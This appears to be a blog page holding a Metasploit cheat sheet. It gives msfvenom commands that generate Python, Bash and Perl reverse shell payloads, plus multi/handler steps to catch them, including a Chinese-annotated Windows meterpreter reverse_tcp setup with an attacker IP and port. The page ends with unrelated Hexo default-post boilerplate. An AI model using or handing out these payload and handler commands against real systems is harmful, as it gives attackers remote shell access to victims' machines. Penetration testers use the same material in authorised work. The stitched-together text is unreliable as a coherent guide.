Often one of the most useful(and to the beginner underrated) abilities of Metasploit is the msfpayload module. Multiple payloads can be created with this module and it helps something that can give you a shell in almost any situation. For each of these payloads you can go into msfconsole and select exploit/multi/handler. Run ‘set payload’ for the relevant payload used and configure all necessary options (LHOST, LPORT, etc). Execute and wait for the payload to be run. For the examples below it’s pretty self explanatory but LHOST should be filled in with your IP address(LAN IP if attacking within the network, WAN IP if attacking across the internet), and LPORT should be the port you wish to be connected back on.
msfvenom -p cmd/unix/reverse_python LHOST= LPORT= -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST= LPORT= -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST= LPORT= -f raw > shell.pl
Shellcode
For all shellcode see ‘msfvenom –help-formats’ for information as to valid parameters. Msfvenom will output code that is able to be cut and pasted in this language for your exploits.
Metasploit handlers can be great at quickly setting up Metasploit to be in a position to receive your incoming shells. Handlers should be in the following format.
use exploit/multi/handler set LHOST set LPORT exploit -j -z Once the required values are completed the following command will execute your handler – ‘msfconsole -L -r ‘
msfconsole -->开启metasploit use exploit/multi/handler -->使用“exploit/multi/handler”这个模块连接后门程序 show options -->查看需要设置的配置信息//这里其实不需要配置任何信息的 set PAYLOAD windows/meterpreter/reverse_tcp -->使用tcp反向连接 show options -->查看需要设置的配置信息 set LHOST=192.168.2.146 -->设置我们攻击者自己的连接IP set LPORT=44444 -->设置我们攻击浙自己的连接端口 exploit -->执行连接,等待木马执行后连接
Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.